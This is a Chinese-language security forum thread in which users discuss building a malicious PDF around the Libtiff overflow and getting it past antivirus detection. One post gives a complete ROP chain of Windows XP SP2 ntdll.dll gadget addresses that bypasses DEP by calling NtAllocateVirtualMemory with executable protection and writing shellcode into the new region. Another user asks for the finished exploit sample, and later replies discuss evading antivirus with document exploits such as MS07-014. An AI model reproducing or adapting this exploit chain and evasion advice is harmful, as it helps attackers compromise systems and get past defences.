能力值：
( LV6，RANK：90 )
|
-
-
5 楼
主要是改了绕过DEP的栈数据，栈数据利用主要xpsp2的ntdll.dll中代码。
文件格式我就是改改长度和偏移之类的。
shellcode是metasploit中通用的，报的病毒类型非常准确，所以和shellcode应该没什么关系。 stack_data = [
#构造过程
0x00105092, # anything
0x10124, # ==>ebp
0x7C9013C3, # pop edx / ret
0x10104,
0x7C96BD42, # pop ecx / ret
0x1000,
0x7C971977, # mov [edx], ecx / ret
0x7C9013C3, # pop edx / ret
0x10100,
0x7C96BD42, # pop ecx / ret
0x0,
0x7C971977, # mov [edx], ecx / ret
0x7C90D4DE, # call NtAllocateVirtualMemory
0x7C9013C3, # pop edx / ret
0xffffffff, # para1-> ProcessHandle
0x10100, # para2-> *BaseAddress
0x0, # para3-> ZeroBits
0x10104, # para4-> RegionSize
0x1000, # para5-> AllocationType
0x40, # para6-> Protect
0x100FC, #
0x7C939D3C, # mov eax, [edx+4] / ret
0x7C96BD42, # pop ecx / ret
0x26a525a,
0x7C951376, # mov [eax], ecx / ret
0x77EA18DA, # add eax, 2 / ret
0x77EA18DA, # add eax, 2 / ret
0x7C96BD42, # pop ecx / ret
0x3c2ecd58,
0x7C951376, # mov [eax], ecx / ret
0x77EA18DA, # add eax, 2 / ret
0x77EA18DA, # add eax, 2 / ret
0x7C96BD42, # pop ecx / ret
0xf4745a05,
0x7C951376, # mov [eax], ecx / ret
0x77EA18DA, # add eax, 2 / ret
0x77EA18DA, # add eax, 2 / ret
0x7C96BD42, # pop ecx / ret
0x2a4949b8,
0x7C951376, # mov [eax], ecx / ret
0x77EA18DA, # add eax, 2 / ret
0x77EA18DA, # add eax, 2 / ret
0x7C96BD42, # pop ecx / ret
0xaffa8b00,
0x7C951376, # mov [eax], ecx / ret
0x77EA18DA, # add eax, 2 / ret
0x77EA18DA, # add eax, 2 / ret
0x7C96BD42, # pop ecx / ret
0xfe87ea75,
0x7C951376, # mov [eax], ecx / ret
0x77EA18DA, # add eax, 2 / ret
0x77EA18DA, # add eax, 2 / ret
0x7C96BD42, # pop ecx / ret
0xb95f0aeb,
0x7C951376, # mov [eax], ecx / ret
0x77EA18DA, # add eax, 2 / ret
0x77EA18DA, # add eax, 2 / ret
0x7C96BD42, # pop ecx / ret
0x3e0,
0x7C951376, # mov [eax], ecx / ret
0x77EA18DA, # add eax, 2 / ret
0x77EA18DA, # add eax, 2 / ret
0x7C96BD42, # pop ecx / ret
0x9eba5f3,
0x7C951376, # mov [eax], ecx / ret
0x77EA18DA, # add eax, 2 / ret
0x77EA18DA, # add eax, 2 / ret
0x7C96BD42, # pop ecx / ret
0xfffff1e8,
0x7C951376, # mov [eax], ecx / ret
0x77EA18DA, # add eax, 2 / ret
0x77EA18DA, # add eax, 2 / ret
0x7C96BD42, # pop ecx / ret
0x909090ff,
0x7C951376, # mov [eax], ecx / ret
0x77EA18DA, # add eax, 2 / ret
0x77EA18DA, # add eax, 2 / ret
0x7C96BD42, # pop ecx / ret
0x90ffffff,
0x7C951376, # mov [eax], ecx / ret
0x7C939D3C, # mov eax, [edx+4] / ret
0x7C90EAC5 # call eax / ret
]
|
能力值：
( LV2，RANK：140 )
|
-
-
8 楼
[QUOTE=pearkiller;882136]主要是改了绕过DEP的栈数据，栈数据利用主要xpsp2的ntdll.dll中代码。
文件格式我就是改改长度和偏移之类的。
shellcode是metasploit中通用的，报的病毒类型非常准确，所以和shellcode应该没什么关系。
stack_data = [
#构造过程
...[/QUOTE]
我的意思是放你做好的pdf，也就是所谓的样本。
|
能力值：
( LV4，RANK：50 )
|
-
-
11 楼
我只是指Libtiff溢出这个漏洞。
你看一下，你都能直接在Tiff图片二进制里面轻松的定位到溢出参数，然后修改长度和偏移。
杀毒软件只是把这个过程自动化了嘛。
对于你后面说的那些格式，确实杀毒软件不能够做到一一解析，大部分还是通过某些特征来判断的，所以免杀某
些文档是可能的，例如MS07-014，现在都有能过的。
PS：你说的那些文档，我没有见过。
|
你先找到特征码再才能做 ，直接这么大的一个文档分析 难办。
